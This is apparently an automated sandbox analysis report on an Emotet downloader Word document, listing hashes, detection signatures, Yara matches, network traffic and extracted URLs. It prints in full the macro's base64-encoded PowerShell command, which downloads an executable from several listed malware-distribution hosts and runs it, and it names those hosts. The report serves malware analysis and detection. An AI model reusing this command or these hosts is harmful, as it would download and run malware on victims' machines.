Loading ...

Play interactive tourEdit tour

Analysis Report SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.16404

Overview

General Information

Sample Name:SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.16404 (renamed file extension from 16404 to doc)
Analysis ID:255733
MD5:5664bb21ee94aade7301327e10d9fcc6
SHA1:0f01fc27f18e69df5f6ad5fb47ace1ec07345514
SHA256:945f556cc1d634adcdfacc3c2af372c8851692c96d6ef62d53d4849ebd91b279

Most interesting Screenshot:

Detection

Emotet
Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious encrypted Powershell command line found
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet Downloader
Creates processes via WMI
Document contains VBA stomped code (only p-code) potentially bypassing AV detection
Encrypted powershell cmdline option found
Machine Learning detection for sample
PowerShell case anomaly found
Very long command line found
Allocates a big amount of memory (probably used for heap spraying)
Contains long sleeps (>= 3 min)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w10x64
  • WINWORD.EXE (PID: 6788 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)
  • powershell.exe (PID: 7076 cmdline: powersheLL -e JAByAGUAaQB6AG4AZQBpAGcAYgBlAG8AYgBsAGEAaQBrAD0AJwB0AGgAbwB1AGMAcQB1AGkAZQB0AGMAbwBvAHAAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGMAYABVAFIASQBgAFQAWQBQAHIAbwBgAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAAgAD0AIAAnADkANwAyACcAOwAkAGQAbwB1AGsAdwBpAG8AYgBnAGUAZQBqAHcAZQB6AD0AJwB4AG8AZQBxAHUAbQBpAGUAdAAnADsAJABiAG8AaQB0AGgAYgBhAG8AbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAagBlAGEAbABzAGkAYQBqAHoAZQBlAHYAeABhAGMAaAArACcALgBlAHgAZQAnADsAJAB4AG8AaQB6AHQAaABlAGEAYwBoAG8AbwBrAD0AJwBzAG8AaQBzAGgAZQBlAGMAaABhAHoAcABlAG8AYwAnADsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAGUATgB0ADsAJABqAGkAYQBsAGQAbwB2AGoAZQBmAD0AJwBoAHQAdABwAHMAOgAvAC8AZgBhAHMAdAByAGUAYQBkAGgAbwB0AG4AZQB3AHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AOAA3AG4AegB5AF8AbAA1AF8AbgBzAGUAawAvACoAaAB0AHQAcAA6AC8ALwB4AHkAYwBnAHMAYwBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA0AGwAdABwAF8ANgBoAF8AZAA2AGgAYwBpAGoAcgBpADgALwAqAGgAdAB0AHAAcwA6AC8ALwBiAG8AdQBsAGQAZQByAGkAbgBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANwAxADAAcwBqADEAaAB5ADkANgB5AG4AeQBmAGUAbgBzADcAYgBtADUAMwBhADkAaABfADcAZwBwAGcAMgBhAF8AZwAxADQAOAA3AHAAYgAvACoAaAB0AHQAcAA6AC8ALwBjAGgAYwBxAHUAaQBtAGkAYwBhAC4AYwBvAG0ALgBiAHIALwBsAG8AagBhAC8AcQB0AGIAbQBtAGoAcgB0ADEANABrAGQANABvAHQAXwB0ADkAYwBmAHkAOAAzAF8AZwA0ADIAbgA4AHQAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAaQBqAHMAdgBhAG4AcgBvAGkAagAuAG4AbAAvADEANwAwADEAMAAxAC8AYwB1AGEANQBtAG4AegBqAGYAYwBnADgAYgBpADgAZQBzAGoAagB1AF8AcgB5AGkAdQBkAF8AcQBqAHYAMgB6AGMAZwBpAHgAcwAvACcALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAagBpAG8AZwB5AGUAdQBxAHUAdABhAGUAYgB6AGUAZQBsAD0AJwBtAGEAZgBqAGEAdQBnAHQAYQBlAGYAYgBlAG8AZAAnADsAZgBvAHIAZQBhAGMAaAAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMAIABpAG4AIAAkAGoAaQBhAGwAZABvAHYAagBlAGYAKQB7AHQAcgB5AHsAJAB5AG8AagBjAGgAZQBhAGcAdgBvAGcAdABoAG8AZQB6AC4AIgBEAGAAbwBXAE4AbABPAEEAYABkAGYASQBsAEUAIgAoACQAaABvAG8AbABzAGEAaQBmAHkAZQBhAHMALAAgACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAYwBvAHUAYwBoAHkAYQBvAHMAPQAnAHIAbwBlAHcAZgBhAG8AdAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGIAbwBpAHQAaABiAGEAbwBuACkALgAiAEwAZQBuAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADkANgAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAYABUAGUAIgAoACQAYgBvAGkAdABoAGIAYQBvAG4AKQA7ACQAZABvAGEAbAB5AHUAdQBqAGoAYQBuAGMAYQBvAHQAPQAnAG0AZQBhAGcAcQB1AGkAZQB0AGgAJwA7AGIAcgBlAGEAawA7ACQAZwBpAGUAcwByAG8AbwBuAGMAZQBpAHQAPQAnAGoAYQB1AGMAaABzAGEAZQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHAAZQBpAHYAaAB1AGMAaABoAGEAbwBnAD0AJwBwAHUAYQB0AG0AaQBvAGoAJwA= MD5: 95000560239032BC68B4C2FDFCDEF913)
    • conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\Documents\20200802\PowerShell_transcript.579569.jKiOczz_.20200802004125.txtPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x23:$s1: PowerShell
  • 0xfd:$s1: powersheLL
  • 0x1185:$s1: PowerShell
  • 0x23:$sr1: PowerShell
  • 0x1185:$sr1: PowerShell
  • 0x23:$sn3: PowerShell
  • 0x1185:$sn3: PowerShell
  • 0xff:$a1: wersheLL -e
C:\Users\user\Documents\20200802\PowerShell_transcript.579569.jKiOczz_.20200802004125.txtJoeSecurity_EmotetDownloaderYara detected Emotet DownloaderJoe Security

    Sigma Overview

    No Sigma rule has matched

    Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Machine Learning detection for sampleShow sources
    Source: SecuriteInfo.com.VBA.Heur.Logan.849.Gen.13999.docJoe Sandbox ML: detected
    Source: winword.exeMemory has grown: Private usage: 0MB later: 69MB
    Source: global trafficDNS query: name: fastreadhotnews.com
    Source: global trafficTCP traffic: 192.168.2.4:49720 -> 74.208.236.121:443
    Source: global trafficTCP traffic: 192.168.2.4:49720 -> 74.208.236.121:443
    Source: global trafficHTTP traffic detected: GET /wp-admin/4ltp_6h_d6hcijri8/ HTTP/1.1Host: xycgsck.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /loja/qtbmmjrt14kd4ot_t9cfy83_g42n8ts6/ HTTP/1.1Host: chcquimica.com.brConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /170101/cua5mnzjfcg8bi8esjju_ryiud_qjv2zcgixs/ HTTP/1.1Host: gijsvanroij.nlConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /wp-admin/4ltp_6h_d6hcijri8/ HTTP/1.1Host: xycgsck.comConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /loja/qtbmmjrt14kd4ot_t9cfy83_g42n8ts6/ HTTP/1.1Host: chcquimica.com.brConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /170101/cua5mnzjfcg8bi8esjju_ryiud_qjv2zcgixs/ HTTP/1.1Host: gijsvanroij.nlConnection: Keep-Alive
    Source: unknownDNS traffic detected: queries for: fastreadhotnews.com
    Source: PowerShell_transcript.579569.jKiOczz_.20200802004125.txt.2.drString found in binary or memory: http://chcquimica.com.br/loja/qtbmmjrt14kd4ot_t9cfy83_g42n8ts6/
    Source: PowerShell_transcript.579569.jKiOczz_.20200802004125.txt.2.drString found in binary or memory: http://gijsvanroij.nl/170101/cua5mnzjfcg8bi8esjju_ryiud_qjv2zcgixs/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: PowerShell_transcript.579569.jKiOczz_.20200802004125.txt.2.drString found in binary or memory: http://xycgsck.com/wp-admin/4ltp_6h_d6hcijri8/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.aadrm.com/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.onedrive.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://app.powerbi.com/taskpane.html
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://augloop.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: PowerShell_transcript.579569.jKiOczz_.20200802004125.txt.2.drString found in binary or memory: https://boulderinn.com/cgi-bin/710sj1hy96ynyfens7bm53a9h_7gpg2a_g1487pb/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cdn.entity.
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://clients.config.office.net/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://config.edge.skype.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cortana.ai
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://cr.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dataservice.o365filtering.com/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://devnull.onenote.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://directory.services.
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: PowerShell_transcript.579569.jKiOczz_.20200802004125.txt.2.drString found in binary or memory: https://fastreadhotnews.com/assets/87nzy_l5_nsek/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://graph.windows.net
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://graph.windows.net/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://lifecycle.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://login.microsoftonline.com/common
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://login.windows.local
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://management.azure.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://management.azure.com/
    Source: 972.exe.2.drString found in binary or memory: https://media.giphy.com/media/RyXVu4ZW454IM/source.gif
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://messaging.office.com/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ncus-000.contentsync.
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://officeapps.live.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://onedrive.live.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://retailer.osi.office.net/appstate/query
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://settings.outlook.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://store.office.com/addinstemplate
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://tasks.office.com
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://templatelogging.office.com/client/log
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://wus2-000.contentsync.
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: BDEADE48-B34F-41C9-886E-FF921AACE3B8.0.drString found in binary or memory: https://www.odwebp.svc.ms
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
    Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443

    E-Banking Fraud:

    barindex
    Malicious encrypted Powershell command line foundShow sources
